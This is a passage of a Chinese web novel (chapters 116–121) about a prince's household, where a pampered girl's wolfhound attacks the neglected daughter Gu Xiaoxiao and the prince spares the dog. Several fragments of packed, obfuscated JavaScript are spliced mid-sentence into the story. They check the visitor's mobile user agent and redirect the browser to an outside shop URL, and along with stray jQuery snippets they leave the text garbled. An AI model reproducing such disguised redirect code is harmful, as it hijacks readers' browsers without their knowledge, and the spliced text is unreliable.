就在贺月嘀咕着要不要带顾筱筱回去之际。 接连几声犬吠从远及近—— 与犬吠同时响起的声音,是小红惊恐的大叫,“大家让一让,都让一让。” 第116章 不要咬...筱筱脸疼 远远地,一身翠绿衣裳的小红被一条半人高的大狼狗拉着往前冲。 所到之处,其他下人几乎躲避不及。 眼看大狼狗龇牙咧嘴就要冲到顾筱筱跟前。 贺月先是惨叫一声将顾筱筱护在身下,而她手上提着的食盒因为惯性脱手而出,咕噜噜滚到了一边。 神奇的事情发生了。 本来还发狂的大狼狗,没有再扑向顾筱筱,而是冲到食盒边,将食盒撒出来的包子吃了个干净。 似乎吃地上的不过瘾,它还用爪子将食盒里剩下的几个包子也扒拉了出来。 肉香四溢。 贺月更是在确认了顾筱筱安然无恙的时候,眼眶通红地想要飞扑上前拦下吃得满嘴流油的大狼狗。 “那是我给小姐做的包子。” 负责打理花园的一个粗使小丫鬟急忙拉住了她。 “那是悦悦小姐养的天狼,咱们不能过去,会被咬的。” 贺月急了,咬牙哭道,“那是我家小姐要吃的包子,难道我家小姐还不如悦悦小姐一条狗金贵吗?” 粗使小丫鬟连忙捂住贺月的嘴,“小声点不要被嬷嬷听到了。” 小丫鬟说的嬷嬷,是负责后院所有花草修剪除草的婆子,因为是苏柳溪亲自指派的缘故,只要事关虞悦希以及那条大狼狗,婆子总会格外宽松。 有时候,花园里的花草盆栽被大狼狗咬坏,婆子也宁愿推其他下人出去顶罪。 人不如狗这种事情,她们早已见怪不怪。 顾筱筱之前有过被大狼狗咬过的经历,即使她在来花园之前就知道会再次看到这条大狼狗,现在在贺月的保护下离大狼狗远远的。 可真正看到大狼狗的那一刻,她依旧还能记得当初被大狼狗扑倒在地的时候,狗嘴吐出来腥臭的味道。 看到大狼狗朝着她方向龇牙咧嘴的那一刻,顾筱筱整个人都崩得紧紧的,一双抓着贺月衣摆的小手指尖更是因为用力而印出了一圈白。 感受到小姑娘的不对劲,贺月转头看到小姑娘因为害怕而小脸煞白,她心疼地将顾筱筱抱起。 她不抱起顾筱筱还好。 一弯腰抱起顾筱筱,大狼狗像是发现了猎物,瞬间兴奋地扑向贺月,引来花园里包括粗使小丫鬟在内的几个下人的一声尖叫。 贺月有武功底子,轻而易举地躲开了大狼狗的进攻。 却做出了一副十分吃力的样子。 抱起顾筱筱狼狈往外逃。 一边跑,一边哭喊,“天呐,大狼狗要咬死人了。 对不起,悦悦小姐,奴婢错了,奴婢不应该在没有征求你同意的时候带小姐在花园散步,你可以放狗咬奴婢,但是小姐是无辜的啊” 一路上,看到她抱着顾筱筱哭着被狗追的人不少,可愣是没有一个人敢上前帮她。 她慌不择路,竟然不顾其他小厮的阻拦跑去了前院。 好巧不巧,顾时刚好从外头回来,裴望与他并肩而行。 贺月眸光微沉,之后毫不留情地撞到了裴望身上。 裴望毫无防备,差点被撞翻在地。 顾时一把将裴望扶稳,怒目瞪向来人。 “王爷,求王爷救命。” 贺月扛着顾筱筱,哭得一把眼泪一把鼻涕地跟顾时求救。 顾时冷下脸正想发火,一声狼犬狂吠,吸引了他的注意力。 还没等他反应过来,大狼狗已经飞扑上前。 眼看就要无差别一顿狂咬人。 陈十六连忙迎上攻击力极强的大狼狗。 他出手并没有直接取走大狼狗的性命,而是用剑鞘不轻不重地敲了一下大狼狗的脑袋。 “汪~~汪汪汪~” 大狼狗吃痛,怪叫着跑开了。 好几个下人追了上去,生怕大狼狗受惊一不小心撞到府中湖里。 裴望似笑非笑地看了一眼大狼狗离开的方向,随后才将注意力放回去顾时身上,“王爷,我怎么觉得你家的狗,地位比人还高?而且这狗,吃的肉可不简单啊。” 顾时的视线从狼狗离开的方向收回,朝裴望客套一笑,“狼狗一般都是吃的生肉,咱们不被这点东西扰了兴致,裴大人请” “不必了。” 裴望拒绝了顾时的邀请,直起腰板朝顾时拱手,“想来王爷今日还有不少府上的事情需要处理,下官突然想起也有急事要回府处理,改日再前来拜访。” 顾时还想再挽留,“那之前裴大人提及的” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287835|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “回头下官让人将卷宗送到王爷府上。” 裴望态度坚决,顾时只好笑着将裴望送走。 等他再次进府,贺月还在原地。 不同的是,她刚才是抱着顾筱筱站在自己周围,而现在是放下了顾筱筱自己跪下。 “奴婢不小心得罪了贵客,还望王爷恕罪。” 顾时冷哼一声,看向随后跟着上来与贺月跪在一起的粗使小丫鬟,“今天是怎么回事?” “回回王爷,今日一早,荷心带着小姐在花园散步” 小丫鬟战战兢兢地将在花园发生的一切告诉了顾时。 荷心,是贺月进府后,管家给贺月重新改的名字。 小丫鬟虽然在一开始说话的内容有些不对,但是后面基本上在陈十六的问话补充之下,顾时大概也能知道了前因后果。 “奴婢所言,句句属实,还望王爷恕罪。” 小丫鬟前额抵在地上,瘦弱的身子在打着摆子。 很明显,她也被吓得不轻。 顾时看着在一旁眼底惊恐尚未散去的顾筱筱,重新看向贺月。 “好好的,小姐怎么突然想去花园了?” 顾时的话,再次让贺月对顾时的偏心有了新的认知。 哪怕是亲眼所见她们被狗追,亲耳听到丫鬟的指认那条大狼狗无缘无故夺人吃食追人伤人。 他的第一反应,依旧是不相信自己的女儿。 贺月心底默默吐槽,面上依旧哭哭啼啼,“小姐这些天,想娘亲,心情不好,奴婢想着现在是初春,给小姐看看花儿,能让她开心些,哪知道哪知道” “好了,不用说了。” 顾时看到贺月哭哭啼啼就心烦。 转头看向在一旁倔强红着眼颤抖着小身子的顾筱筱。 他心疼地弯腰想要抱起她。 似乎是受了极大的惊吓,在顾时才触碰到她的那一刻,她整个人蹲下蜷缩捂着脸。 “不要咬筱筱脸疼。” 顾时这才注意到,女儿的右脸几乎半张脸都是坑坑洼洼 “你知不知道,要是我出现晚一点,筱筱的半张脸都被那只畜生啃了去。” 恍惚间,他似乎听到了沈慕兮撕心裂肺的哭诉 第117章 去将那条死狗给本王拖来 那时候,他以为,沈慕兮是想吸引他的注意力,故意将筱筱的问题说得严重 他甚至在之前筱筱住在主院的时候,也没有注意到她脸上的伤疤竟会这么明显 胸口突然像是被一柄利剑狠狠刺了个对穿,顾时呼吸的时候,心里竟隐隐泛着疼。 “还痛吗?” 他抖着手想要触碰顾筱筱脸上的伤疤。 还没碰上去,顾筱筱就像是被烫到一样,整个人缩在贺月身后瑟瑟发抖。 她小脸苍白,虚弱的求饶从她毫无血色的唇瓣中溢出 “不要咬,筱筱疼” 顾时心疼地想要抱起顾筱筱,还没等他触碰到她,顾筱筱又已经尖叫着钻进了贺月的怀中。 顾时又心疼又无奈,只能吩咐王英去请大夫。 回头看到陈十六站在原地,一脸担心地看着狼狗跑走的方向,他目光微沉。 吩咐秦寿遣人将贺月跟顾筱筱送回去碧水苑之后,状似无意地问了一句,“刚才那条畜生都快要咬出人命了,为何不一剑了结了它?” 陈十六几乎脱口而出,“那是王妃养的狗。” 话说出口以后,不仅顾时愣了,连陈十六也愣在原地。 那畜生扑上来差点咬伤王爷,他想的居然不是如何让王爷脱险,而是要保住王妃的一条狗 就在他冷汗涔涔想着要如何将话圆回来之际,顾时已经走远了。 裴望离开荣郡王府,并没有想他所说的,回去府上处理什么事情。 而是敲门进了悦雅巷的一处小宅子里。 “事情我已经照办了,东西呢?” 裴望的态度算不上好。 也对,被拿捏着把柄办事,态度能好才见鬼了。 “大人还真是猴急。” 沈慕兮本来还在对账,看到眼前的不速之客,她没有任何不悦,反而慵懒地将身子往椅背一靠。 “除了此事,我还想找大人再要一个东西,若是那个东西,大人也愿意给小女子,咱们的合作,基本上就成了,到时候,咱们之间也不存在什么秘密不秘密了。” 这女人,明显就是想反水。 奈何东西太过重要,裴望纵然已经动了杀心,人在屋檐下,还是不得不按捺着脾气,“什么东西?” “木兰山上的那具女尸。” 听到“木兰山”三个字,裴望的心里已经本能地涌起了一阵警惕。 在听到沈慕兮提及女尸,他眼底的冷意几乎化为实质。 “你到底是何人?” 沈慕兮不紧不慢地起身负手走到裴望面前,“裴大人能看清楚吗?我是跟裴大人合作的人啊。” 她与他的距离不过十寸,裴望甚至还能嗅到在她身上传来的幽香 手上锁喉扣刚成型,又听到女子的嗤笑,“大人要是不想活了,可以直接跟我说,没必要想办法掐我脖子。” “怎么?前些天的养颜茶没喝够,今日想要试试其他?” 听到沈慕兮提起前几天的“养颜茶”,裴望只觉得好不容易已经消停了的肚子再次咕噜作响。 他的太阳穴因为后槽牙紧咬而微微滚动了一下。 “为何要那具女尸?”这是他最大的让步了。 左右都是要给,总要让他知道用途吧? “现在木兰山女尸一案,大人的进度不是已经停了许久?”沈慕兮笑得一脸无害,“我帮大人重新让木兰山女尸一案摆在台面,大人难道不应该感谢我?” “胡闹,”裴望想也不想否定了沈慕兮的说法,“当初这个案子牵连甚广,才被多方面阻拦” 要重新摆出来,谈何容易? “木兰山的女尸给不给我,是大人的态度,能不能让其他人重视这个案子,那是我的本事,难道大人就不想看一出,以己之矛攻己之盾的好戏?” 以己之矛攻己之盾? 一个念头迅速从裴望脑海里闪过,快得裴望根本抓不住。 “你当真打算对顾时下手?” 沈慕兮微微一笑,“这个,就无须大人费心了。” 既然顾时不相信她已经死了,那她只好将自己的尸体拖到他面前,让他接受现实咯。 与此同时。 碧水苑。 “大夫,她现在身体情况如何?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“谁让你动那个小贱人的?” 关上门,苏柳溪再也维持不了在人前的温婉可人,瞪着虞悦希的眼神几乎要将她生吞活剥。 第118章 顾筱筱回来荣郡王府早已在预谋之中 “难道你不知道那个小贱人现在邪门得很?一不小心,会连累咱们惹来一身骚。” 这些天,觉察到顾时对她的态度异样,她连动都不敢轻举妄动,她倒好,一下子将她的隐忍变成了笑话。 虞悦希满心委屈,全然没有注意到苏柳溪眼底的凝重。 “娘,女儿没错,”她理直气壮地为自己辩解,“娘亲也不用想着瞒着我,昨天爹爹出去跟那个小贱人的贱人娘私会,我都知道了。” “你知道什么?”苏柳溪烦躁又暴躁地打断了虞悦希的话,“没有人比咱们更清楚那个人到底在哪,想也知道那只是障眼法。” “可是那个老贱人早就死了,爹爹昨天出去,说不定就是那个小贱人的撺掇。” “你说什么?”苏柳溪双手紧紧攥住虞悦希的双肩,强迫虞悦希与她对视,“你是不是知道些什么? “女儿不知道,”虞悦希摇头,脸上还挂着未干的泪痕,“但是那个荷心,女儿总感觉她不大对劲。” 从虞悦希记事以来,被她虐打过的下人不计其数。 要说这荷心窝囊,挨了欺负她还会逃,不仅会自己逃,还能护着顾筱筱一起逃。 要说她有本事,却又只能跟顾筱筱在原地一起被欺负,明明知道告状没用,她还是一根筋地要告状,一直循环往复 苏柳溪一脸若有所思地看着虞悦希的眉心时而舒展时而紧蹙,“按照你的意思,若那个荷心真的不是普通下人,那么,极有可能就是顾筱筱身后的人,那么” 顾筱筱回来荣郡王府,也早已在预谋之中。 后面的话,苏柳溪几乎脱口而出。 而就在这时候,翠娥一脸急色地进了屋。 看到虞悦希的那一刻,她的脸色稍稍收敛了一下,快步走到苏柳溪身边低语。 “小姐” 翠娥的话还未说完,苏柳溪的脸色已经黑沉不已。 她冷冷地看了一眼虞悦希,抬步就要跟翠娥离开落霞苑。 “娘亲,是发生什么事了吗?” 苏柳溪没有理会虞悦希,兀自给辛婆子下令,“你让人看好小姐,遣几个人,盯着碧水苑,若是发现异常,即刻遣人去主院找我。” 辛婆子飞快地偷看了一眼苏柳溪身边的虞悦希,又迅速低头,“老奴这就安排。” 苏柳溪“嗯”了一声,连一个眼神都没给虞悦希就离开了。 虞悦希心里不是滋味。 “娘亲以前有什么事情,都会告诉我” 可是如今,她却连看都不再看她一眼 越想越伤心,虞悦希竟忍不住哭了出来。 辛婆子回来看到虞悦希在原地哭泣,立刻心疼地上前带她坐下,“我的天爷啊,小姐的脸怎么肿成这样了?” 虞悦希坐下后,她又骂骂咧咧地往外走,“那些个小蹄子,一个个干吃饭不干活的,人呢?还不打水过来?” 小红战战兢兢地捧着铜盆进了屋。 辛婆子还在骂骂咧咧,她硬是半个字都不敢吭声。 放下铜盆沉默退到一边。 “滚出去,没有半点眼力见。” “是。” 小红哽着嗓子出去了。 小红一走,辛婆子脸上的怒意瞬间变成了一脸心疼。 “小姐,老奴给你敷敷脸。” 她用冷水打湿了帕子,就要捂在虞悦希红肿的脸上,也不知道是因为心疼还是什么原因,力度大了些,虞悦希毫不留情地将她的手推开。 湿哒哒的帕子“啪”的一声掉落在地上。 “找死啊你,那么大力。” 辛婆子心疼得红了眼眶。 “我的小祖宗哟,你不要乱动,你这张脸都红肿了,再不消下去,会破相的。” 虞悦希狠狠用手指戳辛婆子的太阳穴,“知道我会破相你还这么用力,是不是存心的?” “小姐,在老奴眼里,你就像是老奴的孙女儿一样,老奴怎么可能会不心疼你?” “呸,你是什么东西,居然还想我做你孙女?没有镜子,也知道要撒泡尿吧?” “是是是,小姐,是老奴多嘴了,”面对虞悦希骄横的嘴脸,辛婆子还是那副打不还口骂不还手的模样,“小姐不要生气,乖乖地先敷了脸,回头老奴给你买你最爱吃的豆油蝴蝶酥,可好?” 虞悦希心里出了一口恶气,总算顺畅了些。 从鼻腔冷冷“哼”出了一声,不再说话,算是默认自己配合。 辛婆子重新让丫鬟打来了冷水,换了帕子。 这一次,她的力度比刚才轻了许多。 冰凉的帕子贴在火辣辣的伤处,虞悦希心中一口恶气当场散了七八分。 就在她在思考刚才苏柳溪因为什么缘故离开的时候,耳边又传来了辛婆子的小声嘀咕,“我可怜的小姐,你跟着王妃,真的遭罪了。” 她猛然转头,脸上丝帕落地,刚好看到辛婆子用另外一只手擦脸上泪花的动作。 被虞悦希看到以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287837|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,她眼底迅速闪过心虚。 “是老奴多嘴了。” 还没等虞悦希说些什么,辛婆子又继续红着眼眶哽声开口。 “但是即使你要打骂 老奴,老奴也得说。 老奴前些天就听说了王妃这些日子对她肚子里的孩子可金贵着了。 可没想到,她竟这么快就开始嫌弃你,对你冷淡。 现在就已经给你甩耳光了,以后若是孩子出来了,只怕” 虞悦希很明显也感觉到了苏柳溪对自己的冷淡。 本来她没有想到这一层,被辛婆子这么一提醒,她的心也跟着揪了起来,哪里还顾得上教训辛婆子? 眼看辛婆子的话说了一半死活说不下去,她忍不住开口问道,“只怕什么你倒是说啊?” 因为着急,她的语气并不好,甚至还微微倾身上前。 辛婆子几乎是本能的后仰抬手挡住脸,生怕虞悦希一记耳光甩过来。 等了好一会都没有动静,她悄悄移开袖子,反而对上虞悦希阴鸷的眼神,“聋了?” 眼前分明还只是一个不到八岁的女娃子,可是那股狠毒劲却比许多大人都要厉害。辛婆子瑟缩了一下,最终被她看得没办法,才抖着声音开口道,“老奴只怕,小姐到时候可能会变成另一个筱筱小姐” 她的话音刚落。 只觉得眼前一花,传来金属落地的钝响,身前的水盆就被打落在地。 水花四溅。 虞悦希更是双眼通红地用手挠了辛婆子一个大花脸。 “你个老货,再胡言乱语看看?” “是老奴多嘴了。” 辛婆子嘴巴微动,欲言又止。 看到虞悦希油盐不进,她眼底的心疼慢慢变得黯然,“小姐就当老奴什么都没说吧,别因为老奴而影响了小姐跟夫人之间的感情。” 本来虞悦希在打翻了辛婆子的水以后,已经有点懊恼自己的冲动。 听到辛婆子的话,她心里绷着的一根弦像是突然断掉,本来已经压抑下去的情绪再次上涌,她冷笑一声踹翻了辛婆子,“挑拨主子的关系,我就算是让娘亲拔了你的舌头也不为过,我这就去找娘亲。” 说完,她当真大步往外走。 辛婆子连忙跪爬着要追上虞悦希,“小姐,你不能去找王妃,王妃去了碧水苑” “娘亲去碧水苑做什么?” 虞悦希停下了步子,逼问辛婆子,“是不是爹爹又要找娘亲麻烦?” 第119章 虞悦希苏柳溪为狗求情 辛婆子的眼神闪躲,不敢看虞悦希。 眼看虞悦希又要发火,小红再也顾不得自己会不会被虐待,“咚”的一声跪在地上,把顾时要将天狼打死的事情说了出来。 “好啊,你们现在连我都敢隐瞒了,给我等着。” 虞悦希气急败坏地一脚踹开了辛婆子,快步跑向碧水苑。 此时此刻碧水苑。 苏柳溪紧赶慢赶,总算在下人将狼狗拖到碧水苑门口之前赶到了。 看到顾时一脸冷沉地站在院门前,身前还站了一大堆垂首的下人,她心里完全没底。 以前她从没见过他这么生气 就在苏柳溪琢磨要怎么跟顾时开口之际,顾时已经发现了她。 “来了就过来吧。” 前一刻还低着头的下人默契地为苏柳溪让出了一条道。 苏柳溪脸上挂着温婉的笑容,在翠娥的搀扶下,扶着腰走到了顾时跟前。 “顾时哥,这是怎么了?” 顾时眼皮轻掀,“我还以为,下人已经将这个事情告诉你了。” 苏柳溪的笑容差点挂不住。 “天狼是闯了什么祸吗?” 顾时没有说话,跟在顾时身边的秦寿先开口了。 “今日,恶犬在后院花园追咬小小姐一路狂奔到前院,还惊扰了裴大人,小小姐也被吓晕了,所以王爷要宰了那条恶犬,以儆效尤。” 苏柳溪闻言,立刻激动地反手抓住了顾时的双臂,“顾时哥,这其中是不是有什么误会?天狼向来乖顺,怎么可能” 顾时冷哼一声打断了她的话,“你养它,它自然对你是乖顺,今日那畜生追人的事情,发生在众目睽睽之下,你要不要听一下其他人的说辞?” 说完,他轻轻击掌。 刚才跟贺月一起被狼狗追的粗使小丫鬟从一众下人之中窝窝囊囊地出来了。 “王爷。” “你把刚才发生的事情,告诉王妃。” “是。” 小丫鬟瑟瑟发抖地走到苏柳溪面前跟苏柳溪行了一礼。 苏柳溪紧紧握住了翠娥的手,努力让自己的声音语气变得平和。 “到底是怎么回事?你细细与我说来。” 小丫鬟把刚才的话又复述了一遍,经过第一次陈十六的提醒以及润色。 第二次把事情完整说出来的时候,她已经十分流利。 在听到天狼抢了顾筱筱的肉包子,吃了之后还要追着人咬,她几乎脱口反驳。 “这不可能。” 顾时眉心紧皱。 “人证物证都有了,你还想要护着这条恶犬?” “不是这样的,顾时哥。” 苏柳溪连忙摇头,“天狼向来吃生肉,你也知道,习惯吃生肉的动物,其实对吃熟肉不怎么感兴趣,更不用说这熟肉外面还有一层包子皮” “所以,王妃的意思是小姐故意晕倒了?”贺月在顾时身后激动地开口。 苏柳溪这时候才注意到贺月的存在。 她心中愤恨,面上却还是那副温柔得谁都能欺负一下的样子。 “我不是这个意思,但是,逃走的时候,人总会出现慌不择路的情况而且天狼向来通人性,它不可能无缘无故就会去追人” 她话里话外都在说贺月跟顾筱筱先招惹恶犬。 说话的时候,目光还时不时飘在顾时身上。 以往她的说辞,顾时肯定没有半点怀疑。 可是今日,他却不为所动 她来得急切,根本不知道顾筱筱心血不足的事情,刚才大夫说的话,顾时在场听得一清二楚。 老大夫是他荣郡王府的府医,也不可能对顾时有所隐瞒。 所以顾时才会怒不可遏地要处理了天狼,以防万一再出现类似的情况。 一声声狼狗的呜咽声从远及近。 与刚才下人的小心对待不同,天狼是被几个小厮绑了手脚捆了嘴抬着来的。 因为下人的粗暴行为,天狼的嘴还磨破了一些皮。 苏柳溪心疼地唤了一声,“天狼。” 看到苏柳溪,前一刻目光还凶狠不已的大狼狗,目光瞬间变得澄澈不已。 它看着苏柳溪,委屈地呜咽着。 苏柳溪顿时泪眼涟涟地看向顾时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287838|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 奈何顾时的态度还是十分坚决。 “将它乱棍打死。” 虞悦希跑到这里来的时候,刚好听到顾时下令,她差点被吓得魂飞魄散。 也顾不得自己的脸还疼不疼,像个小炮弹似的飞扑到顾时身前,重重跪下。 “爹爹,不,顾叔叔,求你放了天狼这一次吧。” 从她有记忆开始,天狼就是她的玩伴。 帮她教训了许多下人以及她不喜欢的人。 本来她今天只是想让小红牵着天狼吓吓顾筱筱,让她知难而退。 没想到,事情居然闹得这么大。 看到天狼被五花大绑,连狗嘴都破皮流血了,虞悦希哭得更大声了。 虞悦希的出现,是顾时料想不到的。 看清她的模样后,顾时更是被吓了一大跳,连忙将她扶起。 “悦悦,你的脸怎么了?” 虞悦希小跑过来的时候,为了不让顾时发现自己红肿的脸颊,以及勾起顾时的心疼,她在路过假山的时候,特地把脸蹭上了假山粗粝的砂石。 现在她的右脸是血肉模糊的。 在顾时亲自弯腰将她扶起的那一刻,虞悦希就知道天狼有救了。 她不愿意起来,哭得更厉害了。 “顾叔叔,悦悦求你,不要打死天狼,呜呜呜,天狼是悦悦的玩伴啊” 虞悦希鲜少哭得这么惨。 小姑娘鞋子跑丢了一只,发间珠花也是歪歪斜斜的,脸上还在淌血,明显就是一路小跑过来 顾时顿时心生不忍。 到底也与苏柳溪有情分在,顾时对虞悦希总是爱屋及乌。 转头看到苏柳溪扶着腰红着眼眶看向自己,顾时最终还是心软了。 沈氏不愿意跟他回府,筱筱如今也没有多少年能陪在自己身边 以后能跟自己白头偕老的,也就只有溪溪,而她的肚子里,还怀了他的孩子 转瞬之间,顾时已经做出了选择。 他转头吩咐秦寿,“先把狗带回去狗舍好生照看,若是再有出现类似情况,负责照顾狗的下人与狗一起陪葬。” 第120章 过不久,这些人就都有报应了 他的话一字不落地落入了随后被另一个小丫鬟抱过来的顾筱筱耳中。 所有下人噤若寒蝉。 唯有顾筱筱的满眼失望。 “所以,筱筱被狗咬了不重要,重要的还是悦悦姐姐,对吗?” 她的声音像是投入平静湖面的小石子,瞬间荡起一圈圈的涟漪。 顾时转头就看到她倔强地从小丫鬟身上落地,脸色苍白得仿佛风一吹就倒。 他心疼地想要上前—— “啊” 虞悦希再次站立不稳摔倒在地。 “娘亲,悦悦的脸好疼,悦悦的腿也疼。” 顾时才迈出一步的步子又迅速转了弯,“怎么样,是扭到脚了吗?” 虞悦希推开了顾时递过来的手,“顾叔叔去管妹妹就好了,不用管悦悦,毕竟筱筱妹妹才是顾叔叔的孩子。” “傻孩子,不要胡言乱语,在顾叔叔心里,你跟筱筱都是顾叔叔的女儿。” 说完,顾时还转头看了一眼顾筱筱。 后者的眼神落在虞悦希的身上,刚好对上她带有挑衅的目光。 本来还在顽强地隐忍在眼中的泪珠,此时像是断了线一般滚滚落下。 她不甘心地指着已经被解开了绳子的大狼狗,抬头看向顾时,“那条狗,咬死了雪球,还咬坏了我的脸,爹爹也不管吗?” 虞悦希捂着脸,正可怜巴巴地看着顾时。 顾时心有不忍,最后还是伸手覆上了虞悦希的发顶安抚,看向顾筱筱,语重心长地开口道,“好了,你姐姐也知错了,还哭得那么伤心。 你莫要胡闹,你先好好歇着,爹爹晚些时候来看你。” 说完,他一个眼神下去,秦寿立马吩咐下人将顾筱筱“请”回屋中。 贺月同样被带回去伺候在顾筱筱身边。 主仆二人在屋里冷眼看着顾时带着苏柳溪离开,下人陆续散去,那条狗也被好好地伺候着离开。 贺月咬牙切齿,好一会才将心里那股想要冲出去打人的冲动压下。 她甚至可以料想到,万一今天顾筱筱真的被那条大狼狗扑倒,会是什么样的惨状。可即使是这样,顾时还是选择维护苏柳溪母女 “贱人见得多,贱成这样的,我还是第一次看到,也算是开眼了。” 她一边义愤填膺小声咒骂顾时,一边看向顾筱筱,打算从她脸上的神色找出一星半点异样神态,好安抚她。 结果顾筱筱的神色看上去比她还成熟。 那张稚嫩的小脸上还哪有半分失望? 只见她冷静吸了吸鼻子,本来还因为哭过而泛红的眼睛里,盈满了坚定,“月姐姐不用担心筱筱,筱筱没事,坏爹爹,筱筱早就不要他了。” 她故作坚强的样子,让贺月更加心疼。 碍于沈慕兮早已有言要保密,她最终还是把想要说出口的话咽了回去。 小姐,再等等,过不久,这些人就都有报应了。 一个都逃不掉。 落霞苑。 小药童小心翼翼地给虞悦希的脸上了药。 老大夫在给坐在一旁的顾时以及虞悦希禀报情况。 “小姐的伤没什么大碍,只是流血多了些,平日里多注意一下,伤口愈合之前不沾水,基本就不会留下疤痕。” “大夫,真的没问题吗?”苏柳溪紧紧握住顾时的手,担忧地问老大夫。 眼前老大夫面生得很,苏柳溪连买通他让他把问题往严重了说的机会都没有。 万般无奈,她只好靠自己做戏让顾时觉得虞悦希的问题严重。 奈何顾时现在似乎更相信老大夫,她前一刻抓紧了他的手,下一刻就被他拨开了。 “既然大夫说了没事,那问题就不大了,今日你也算是煞费苦心,就不要再操劳太多,身子要紧。” 他看向他的目光充满关切,可苏柳溪感觉到他的语气早已少了以前的热切。 看他那个努力想朝她挤出笑容的样子,估计连他自己都没有发现自己的态度有了变化。 苏柳溪垂眸,到嘴边的话,变成了“好,我听顾时哥的”。 说完,她跟小红跟辛婆子交代了几句要好好照顾虞悦希一类的话就要离开。 顾时看到虞悦希,就想起了顾筱筱那个受伤破碎的眼神。 心里发堵。 他干脆起身追上苏柳溪的脚步,“我与你一道,刚好刘大夫来了,也好让他给你请个平安脉。” 刘大夫,就是那个给虞悦希看伤的老大夫。 苏柳溪本能地想要拒绝,可看到顾时似乎对孩子格外期待,拒绝的话硬是说不出口。 “好,我都听顾时哥的。” 她乖顺地往顾时身边靠了靠,两人站在一起,格外般配和谐。 他们离开叫走大夫的时候,甚至连一个多余的眼神都没有留给虞悦希。 虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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前一刻还对小红想着插科打诨蒙混过去的几人,在看到虞悦希以后,连忙闭了嘴,瑟瑟发抖地缓缓跪下。 “都很闲是吧?” 她的声音很平静,没有半点温度。 第121章 孕期比顾时知道的日期早了一个多月 以往她要下人动手做些什么之前,就是这种语气。 无形之中,几人像是被毒蛇缠上了一般,顿时磕头如捣蒜,“小姐,奴婢们错了,求求小姐饶了奴婢们吧?” “饶了你们?” 虞悦希冷笑,“好啊,看你们的表现。” 说着,她随手指着其中一个丫鬟,高傲下令,“你,去找些针线来。” 小红一听就觉着不对劲,“小姐要针线做什么?” “那么爱嚼舌根,这张嘴就得缝上。” 依照虞悦希的性格,针线一来,是真的缝啊。 小丫鬟不敢去,跟其他两个小丫鬟一同在地上磕头认错,“小姐,奴婢错了,奴婢真的知道错了,求小姐开恩。” 刚才被虞悦希指着的小丫鬟,更是连头都磕破了,眼泪混杂血水一滴一滴落在衣裳上,落在地上。 虞悦希眼底跳跃着嗜血的兴奋光芒。 弯腰伸手捏住了小丫鬟的下巴,“乱嚼舌根就要有嚼舌根被发现的觉悟,没有将你们乱棍打死,已经是我仁慈,可别不识好歹了。” “小姐,奴婢错了,奴婢真的错了,求小姐开恩。” 小丫鬟越是求饶,虞悦希眼底兴奋神色愈发明细。 “我看你的口才就很不错,真想看看你的舌头是不是跟我们的不一样” 她的话音刚落,还没来得及等小丫鬟求饶,一股恶臭扑鼻而来。 虞悦希嫌弃皱眉看向臭味传来的方向。 跪在小丫鬟身边的另一个小丫鬟似是被吓傻了,脸色煞白,双目无神,身下一摊水渍 “晦气的东西” 她话未说完,顾时的声音已经在她的身后传来。 “做什么这般吵吵闹闹的?” 虞悦希前一刻还狰狞不已的脸上,顿时恢复一片单纯无害。 她迅速松开钳制小丫鬟脸的手,转头看到顾时带着王英截返回来,她更是惊喜又委屈地走到顾时跟前。 “顾叔叔,悦悦没想到,你居然会回来。” 顾时看了一眼虞悦希。 刚才他分明听到了小姑娘那些要将下人嘴巴缝起来的恶毒话语,可是眼前小姑娘眼神纯粹,笑容明媚却带着小心翼翼。 顾时忍不住开始怀疑,刚才自己是不是出现了幻听。 恶臭盈鼻,打乱了他的思绪。 他眉峰微不可察地皱了皱,不满开口,“管事婆子呢?为何院子里飘荡着这样的味道?” 辛婆子闻声而来,手上还拿着刚才小药童为虞悦希包扎伤口剩下的药粉绷带。 “王爷。” 小红得了虞悦希的眼神警告,立马跪在地上。 “王爷,怪奴婢没轻没重。 